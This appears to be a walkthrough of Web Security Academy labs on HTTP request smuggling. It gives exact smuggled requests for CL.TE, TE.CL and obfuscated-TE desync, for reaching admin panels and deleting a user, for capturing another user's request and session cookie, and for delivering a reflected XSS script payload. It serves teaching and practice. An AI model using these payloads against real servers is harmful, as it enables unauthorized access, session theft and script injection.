HTTP Request Smuggling

Note

Websites that use HTTP/2 end-to-end are inherently immune to request smuggling attacks. As the HTTP/2 specification introduces a single, robust mechanism for specifying the length of a request, there is no way for an attacker to introduce the required ambiguity.

However, many websites have an HTTP/2-speaking front-end server, but deploy this in front of back-end infrastructure that only supports HTTP/1. This means that the front-end effectively has to translate the requests it receives into HTTP/1. This process is known as HTTP downgrading. For more information, see Advanced request smuggling.

Different behavior

• CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

• TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

• TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

Lab: HTTP request smuggling, basic CL.TE vulnerability

After sending the same request twice, we can see that GPOSTwas added behind POSTin the 2nd request.

Content-Length: 6
Transfer-Encoding: chunked

0

G

To solve the lab, just need to change GPOSTto Gand resend twice.

Lab: HTTP request smuggling, basic TE.CL vulnerability

Add this to the request to the home page and change the request from GET to POST and change from HTTP/2 to HTTP/1.1.

POST / HTTP/1.1
...
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

After which, send the request twice to solve the lab

Lab: HTTP request smuggling, obfuscating the TE header

Add this to the request to the home page and change the request from GET to POST and change from HTTP/2 to HTTP/1.1.

POST / HTTP/1.1
...
Transfer-Encoding: chunked
Transfer-Encoding: cow
Content-Length: 4

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Send the request twice to solve the lab.

Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Add this to the request to the home page and change the request from GET to POST and change from HTTP/2 to HTTP/1.1.

POST / HTTP/1.1
...
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

The last 2 lines will used for the next request sent. Send the request twice to solve the lab.

Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

Add this to the request to the home page and change the request from GET to POST and change from HTTP/2 to HTTP/1.1. Ensure that the Content-Length auto update is turned off.

POST / HTTP/1.1
...
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

To solve the lab, send the request twice.

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Add this to the request to the home page and change the request from GET to POST and change from HTTP/2 to HTTP/1.1.

POST / HTTP/1.1
...
Content-Length: 134
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=

After sending the request twice, we can see the admin panel. Now we just need to change the path to delete carlos

POST / HTTP/1.1
...
Content-Length: 134
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=

Sending this request twice to complete the lab.

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

After sending the request twice, we can see the admin panel

POST / HTTP/1.1
...
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

To solve the lab, modify the request to be what is shown below and send twice.

POST / HTTP/1.1
...
Content-length: 4
Transfer-Encoding: chunked

88
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

We will first modify the request to what is shown below.

POST /admin HTTP/1.1
...
Content-Length: 185
Transfer-Encoding: chunked

e
q=smuggling&x=
0

POST / HTTP/1.1
Host: 0a60003503f09bec95412782002d002b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

After sending the request twice, we are able to see part of the request that is sent

0 search results for 'POST /admin HTTP/1.1
X-YjfCeR-Ip: 119.56.68.145
Host: 0a60003503f09bec95412782002d002b.web-'

We will modify the request again to show the admin panel

POST /admin HTTP/1.1
...
Content-Length: 166
Transfer-Encoding: chunked

e
q=smuggling&x=
0

POST /admin HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-YjfCeR-Ip: 127.0.0.1

search=

After sending the request 2 times, it will display the admin panel.

Finally we will modify the request to delete carlos

POST /admin HTTP/1.1
...
Content-Length: 189
Transfer-Encoding: chunked

e
q=smuggling&x=
0

POST /admin/delete?username=carlos HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-YjfCeR-Ip: 127.0.0.1

search=

To solve the lab, we just need to send this request twice.

First, we will modify the request to be what is shown below.

POST / HTTP/1.1
...
Content-Length: 292
Transfer-Encoding: chunked

e
q=smuggling&x=
0

POST /post/comment HTTP/1.1
Host: 0a5500e2032b3ac0d8e268be006e009d.web-security-academy.net
Content-Length: 919
Cookie: session=r602LatF5doyP9aoB9VWw9LSRIdSAlHv

csrf=vB3idnLCDhZYUqb62uyFOY6kOHvzgy9j&postId=8&name=test&email=test@test&website=http://test&comment=

After sending a few times, we will see this response. This means that the comments is successfully uploaded to the post

After refreshing the post page, we can see this

To solve the lab, we just need to replace that cookie in the browser.

Lab: Exploiting HTTP request smuggling to deliver reflected XSS

The reflected XSS vulnerability is on the post comment page.

Whenever we make changes to the User-Agent header, we can see it on the form in the post comment section.

If we change our payload to a"><script>alert(1)</script>, we can see that the <script>tag is being injected into it.

To solve the lab, we will just this modified request a few times.

POST / HTTP/1.1
...
Content-Length: 83
Transfer-Encoding: chunked

0

GET /post?postId=10 HTTP/1.1
User-Agent: a"><script>alert(1)</script>
Foo: X